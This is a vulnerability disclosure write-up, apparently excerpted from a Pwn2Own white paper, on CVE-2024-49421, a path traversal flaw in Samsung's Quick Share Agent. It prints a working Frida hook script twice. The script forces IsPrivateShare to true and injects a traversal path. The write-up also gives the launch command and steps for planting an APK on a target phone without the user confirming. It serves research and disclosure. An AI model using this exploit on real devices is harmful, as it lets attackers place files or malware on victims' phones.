Samsung Quick Share Agent Path Traversal - CVE-2024-49421

The below snippet is taken from the full white paper, available here: https://maliciouserection.com/2025/05/13/pwn2own-ireland-2024-samsung-s24-attack-chain-whitepaper.html

I think you should read the white paper instead :)


Exploit Payload

A Frida script (or Xposed Module) can be used to exploit this issue. Run the following Frida Script on an attacker controlled phone:

console.log("script loaded");
Java.perform(function() {

    var yayclass1yay = Java.use('e2.t');

    yayclass1yay.n.overload('org.json.JSONObject', 'e2.h', 'boolean').implementation = function(a,b,c) {

        if (a.has("IsPrivateShare")) {
            a.put("IsPrivateShare", true)
        }
        if (a.has("Path")) {
            a.put("Path","/../../../../../../GPUWatch_Dump/html/")
        }
        var ret_val = this.n(a,b,c);
        console.log("send json: " + a + "\n" + "send bytes: " + ret_val + "\n")
        return ret_val;
    }
});

The attacker controlled phone should then share a file on their phone via Quick Share. Take note of the QR code URL that is generated on the attacker controlled phone generate. That QR code URL should then be used to launch Quick Share on the target phone.

NOTE: the GPUWatch_Dump/html/ value in the above script is strictly used for this exploit chain.

Exploit Details

The application “Quick Share Agent” (com.samsung.android.aware.service version 3.5.19.33) is a background application that runs alongside the Quick Share application. When sending and receiving files via Quick Share, it is actually Quick Share Agent that handles connections to remote phones and sending/receiving files.

In Quick Share Agent, the class e2.t handles:

  • Managing a Socket connection between phones
  • Sending data to the remote device
  • Receiving data from the remote device

When sending a file, two JSON messages are sent before sending the file(s). The first message establishes information about the connection, and two fields are of interest for this exploit chain:

  • What type of data is being sent (File/Folder)
  • If the transfer is considered a “PrivateShare”, which is a Samsung exclusive function to encrypt the file being sent
{
  "TotalBytes": 3322214,
  "TotalCount": 1,
  "ItemType": "File",
  "IsAlbumShare": true,
  "IsPrivateShare": false,
  "SenderFriendlyName": "YayAttackerPhoneYay",
  "TransportDescription": "",
  ...

The second message contains information about the file/folder being sent. Two fields are of interest for this exploit chain:

  • Name
  • Path
{
  "Name": "Yay.jpg",
  "TotalBytes": 3322214,
  "Path":"\/storage\/emulated\/0\/ShareViaWifi\/Yay.jpg",
  "Url": "ftcp_url_0_",
  ...

When the second message is received, Quick Share Agent passes the received JSON string to class f2.i method s(JSONObject). From there, Name and Path are passed to two different sanitization functions, depending on if class x1.b method x() returns True or False.

public final class i implements k.c, c.c {
    public final b b;
...
    public final f2.l s(JSONObject yayreceivedjsonyay) {
        ...
        String yaynameyay;
        String yaypathyay;
        if(this.b.x()) {
            // no sanitization
            yaynameyay = yayreceivedjsonyay.optString("Name", "Unknown.dat");
            yaypathyay = yayreceivedjsonyay.optString("Path");
        }
        else {
            // sanitize Name and Path
            String yaytemp1yay = yayreceivedjsonyay.optString("Name", "Unknown.dat");
            yaynameyay = new k5.i("[:\"<>*?|/\u0000-\u001F\u007F\\\\]").e (yaytemp1yay, "-"); // sanitizes name
            String yaytemp2yay = yayreceivedjsonyay.optString("Path");
            yaypathyay = new k5.i("[:\"<>*?|\u0000-\u001F\u007F\\\\]").e(yaytemp2yay, "-");
        }

Looking at class x1.b method x(), the return value was dependent on the value of the static Boolean value h. And the value of h is dependent on whatever executes the method J(boolean).

public class b {
    public boolean h;
    ...
    public final void J(boolean z5) {
        this.h = z5;
    }
    ...
    public final boolean x() {
        return this.h;
    }

Previously, it was mentioned that 2 JSON messages are sent to the receiving phone. The first message is processed in class f2.i method D(c, JSONObject). In one part of that method, the value related to the key IsPrivateShare is extracted and then is passed as an argument to class x1.b method J(boolean).

public final class i implements k.c, c.c {
...
    public final boolean D(c c, JSONObject yayjsonobjectyay) {
        ...
        this.g.J(yayjsonobjectyay.optBoolean("IsPrivateShare", false));

BUG 4 – IsPrivateShare is attacker controlled, resulting in a Path Traversal attack

When receiving a file/folder from an attacker controlled phone, and the attacker controlled phone sends a IsPrivateShare value of True, then the attacker controlled phone can force the target phone to save the incoming file into any directory that Quick Share Agent has write access to.

In our exploit chain, we use this vulnerability to save a Drozer .apk file onto the victim’s phone at the location /storage/emulated/0/GPUWatch_Dump/html/. In order to do this, first run the following Frida command. Note that you might have to share a file normally first in order to start the Quick Share Agent service:

$ frida -U -l yayscriptyay.js com.samsung.android.aware.service

Below is the contents of yayscriptyay.js. This script will:

  • Intercept all JSON messages that are intended to be sent to the receiving phone
  • Change the IsPrivateShare value to True
  • Change the Path value to /../../../../../../GPUWatch_Dump/html/
console.log("script loaded");
Java.perform(function() {

    var yayclass1yay = Java.use('e2.t');

    yayclass1yay.n.overload('org.json.JSONObject', 'e2.h', 'boolean').implementation = function(a,b,c) {

        if (a.has("IsPrivateShare")) {
            a.put("IsPrivateShare", true)
        }
        if (a.has("Path")) {
            a.put("Path","/../../../../../../GPUWatch_Dump/html/")
        }
        var ret_val = this.n(a,b,c);
        console.log("send json: " + a + "\n" + "send bytes: " + ret_val + "\n")
        return ret_val;
    }
});

NOTE: the number of “../” in the new Path value matters. When Quick Share “downloads a folder” from a phone, it actually performs the following steps:

  1. Creates a new directory /storage/emulated/0/Android/data/com.samsung.android.aware.service/files/<session_id>/
  2. The folder(s) defined in the Path value are created in the above mentioned directory
  3. The file(s) that are in the sender’s phone are sent to the receiving phone, and saved in the above newly created directory
  4. Once all files are sent, the above newly created directory is copied to /storage/emulated/0/Download/Quick Share/

The number of “../” ensures that during the folder creation process (step 2), the folder(s) are created in the /storage/emulated/0/ directory.

Once the Frida script is running, place the .apk file into any directory on the attacker controlled phone. Then share the folder and select “Quick Share”. Finally, generate a QR code for the share by tapping “QR code or link”.

Now when someone tries to download the folder, yay.apk will be placed in /storage/emulated/0/GPUWatch_Dump/html/.

e1s:/storage/emulated/0 # ls ./GPUWatch_Dump/html/
yay.apk

For our exploit chain, when the attacker phone generates a QR code, the random code at the end of the URL should be used in bug 4. This will force the target phone to download the .apk file automatically without user confirmation.